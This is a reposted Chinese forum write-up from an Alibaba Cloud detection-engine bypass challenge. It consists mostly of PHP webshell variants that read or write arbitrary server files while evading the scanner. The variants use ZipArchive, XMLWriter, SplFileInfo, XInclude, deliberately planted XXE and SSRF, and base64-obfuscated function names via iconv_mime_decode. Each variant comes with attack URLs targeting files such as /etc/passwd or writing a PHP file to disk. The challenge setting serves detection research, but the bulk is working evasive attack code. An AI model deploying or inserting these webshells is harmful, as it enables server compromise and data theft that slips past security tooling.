|
本帖最后由 wangqiang 于 2023-2-12 14:59 编辑
记一次阿里云伏魔引擎-多功能场景绕过测试
TGAO 衡阳信安 2023-02-11 00:14 发表于山东
转载自:记一次阿里云伏魔引擎-多功能场景绕过测试
前言
本期的伏魔挑战赛新增多功能场景的玩法,主要包括四大场景:
- 任意文件读取
- 任意文件写入
- 服务器任意信息窃取类后门
- 网络代理类后门
本文主要对任意文件读取和任意文件写入进行免杀。主要存在三种思路:
- 寻找不常见且与文件相关的类或方法,如zip、xml等
- 利用漏洞达到文件读取的目的,如xxe和ssrf以及文件包含
- 强制绕过常见文件读取与写入函数
寻找不常见且与文件相关的类或方法利用highlight_file&show_source读取文件
用源码高亮函数highlight_file读取文件
- <?php
- $tmp = filter_input_array(2-1);
- @highlight_file($tmp["file"]);
复制代码 highlight_file的别名函数show_source
- <?php
- $tmp = filter_input_array(2-1);
- @show_source($tmp["file"]);
复制代码
利用ZipArchive类读写文件任意文件写入
利用ZipArchive类写入文件的思路:将写入的内容先写进压缩包中,再进行解压缩至任意目录
- <?php
- $zip = new ZipArchive();
- $tmp = filter_input_array(2-1);
- $zipTmpPath = $tmp["tmpzip"];
- if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) {
- exit("cannot open <$zipTmpPath>\n");
- }
- $zip->addFromString($tmp["filename"], $tmp["content"]);
- $zip->close();
- if($zip->open($zipTmpPath) !== TRUE){
- exit("cannot open <$zipTmpPath>\n");
- }
- $flag = $zip->extractTo($tmp["filePath"]);
- echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write";
- $zip->close();
- unlink($zipTmpPath);
复制代码
利用方式(get请求):
各个参数解释:确保参数和参数所表示的目录有写入权限?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmptmpzipfilePath
- tmpzip:临时创建的zip文件路径,需要将文件内容写入到zip文件
- filename:zip压缩包中的文件名,也是解压之后的文件名
- content:filename文件的内容
- filePath:压缩包解压到的路径
任意文件读取
利用ZipArchive读取文件的思路:将要读取的文件添加到压缩包中,读取压缩包中的文件内容
- <?php
- $tmp = filter_input_array(2-1);
- $zipTmpPath = $tmp["tmpzip"];
- $filename = $tmp["file"];
- $zip = new ZipArchive();
- if($zip -> open($zipTmpPath, ZipArchive::OVERWRITE)){
- exit("cannot open <$zipTmpPath>\n");
- }
- $zip -> addFile($filename,basename($filename));
- $zip->close();
- if($zip->open($zipTmpPath) !== TRUE){
- exit("cannot open <$zipTmpPath>\n");
- }
- echo $zip->getFromName(basename($filename));
- $zip->close();
复制代码
利用方式(get请求):
各个参数解释:确保tmpzip参数所表示的目录有写入权限?tmpzip=/tmp/tgao.zip&file=/etc/passwd
- tmpzip:临时创建的zip文件路径,需要将待读取的文件内容写入到zip文件
- file:带读取的文件路径
利用XMLWriter类写入文件- <?php
- $tmp = filter_input_array(1);
- $w = new XMLWriter();
- $w->openUri($tmp["file"]);
- $w->writeRaw($tmp["content"]);
复制代码
利用方式:
另外php是个神奇的语言,XMLWriter类的openUri和writeRaw方法可以直接调用,即不通过创建XMLWriter类,具体如下:?file=/tmp/test&content=hello
- <?php
- $tmp = filter_input_array(1);
- $w = xmlwriter_open_uri($tmp["file"]);
- xmlwriter_write_raw($w,$tmp["content"]);
复制代码
利用SplFileInfo类读取文件- <?php
- $b = filter_input(1,"file");
- $fileinfo = new SplFileInfo($b);
- $fileobj = $fileinfo->openFile("r");
- while (!$fileobj->eof()) {
- echo $fileobj->fgets()."</br>";
- }
复制代码 利用方式:?file=/etc/passwd
利用DOMDocument::xinclude读取文件- <?php
- $a = filter_input(1,"file");;
- $xml = <<<EOD
- <?xml version="1.0" ?>
- <root xmlns:xi="http://www.w3.org/2001/XInclude">
- <xi:include href="$a" parse="text"/>
- </root>
- EOD;
- $dom = new DOMDocument;
- $dom->preserveWhiteSpace = false;
- $dom->formatOutput = true;
- $dom->loadXML($xml);
- $dom->xinclude();
- echo $dom->saveXML();
复制代码 利用方式:?file=/etc/passwd
利用漏洞读取文件利用XXE漏洞读取文件利用SimpleXMLElement类构造XXE漏洞- <pre><?php
- $tmp = filter_input_array(1);
- $xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///".$tmp["file"].""> ]> <root> <name>&xxe;</name> </root>";
- $data = new SimpleXMLElement($xml,2);
- echo $data->name;
- </pre><p>利用方式:<code>?file=/etc/passwd</code></p>
复制代码
利用SimpleXMLIterator类构造XXE漏洞SimpleXMLIterator是SimpleXMLElement子类...
- <?php
- $tmp = filter_input_array(1);
- $xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///".$tmp["file"].""> ]> <root> <name>&xxe;</name> </root>";
- $data = new SimpleXMLIterator($xml,2);
- echo $data->name;
复制代码 利用方式:?file=/etc/passwd
利用simplexml_load_string构造XXE漏洞
利用simplexml_load_string去调用SimpleXMLElement
利用方式:?file=/etc/passwd
利用SSRF漏洞读取文件- <?php
- $tmp = filter_input_array(1);
- $url = "file:///".$tmp["file"];
- if (function_exists('curl_init') && function_exists('curl_exec')) {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $data = curl_exec($ch);
- curl_close($ch);
- echo $data;
- }else{
- echo "no curl extension";
- }
复制代码 利用方式:?file=/etc/passwd
强制绕过常见文件读取与写入函数利用iconv_mime_decode编码fopen+fread+filesize函数- <?php
- $read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?=");
- $open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?=");
- $size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?=");
- $file = $_GET["file"];
- $fp = $open($file, "r");
- $str = $read($fp, $size($file));
- echo $str;
复制代码 利用方式:?file=/etc/passwd
利用iconv_mime_decode_headers编码file函数- <?php
- $headers_string = <<<EOF
- Subject: =?UTF-8?B?ZmlsZQ==?=
- Received: from localhost (localhost [127.0.0.1]) by localhost
- with SMTP id example for <example@example.com>;
- Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
- (envelope-from example-return-0000-example=example.com@example.com)
- EOF;
- $headers = iconv_mime_decode_headers($headers_string, 0, "");
- $Subject = $headers["Subject"];
- $file_arr = $Subject($_GET["file"]);
- foreach($file_arr as $value){
- echo $value."<br />";
- }
复制代码 利用方式:?file=/etc/passwd
最后
大佬带带!!!
来源:先知社区的【TGAO】师傅
注:如有侵权请联系删除
|
|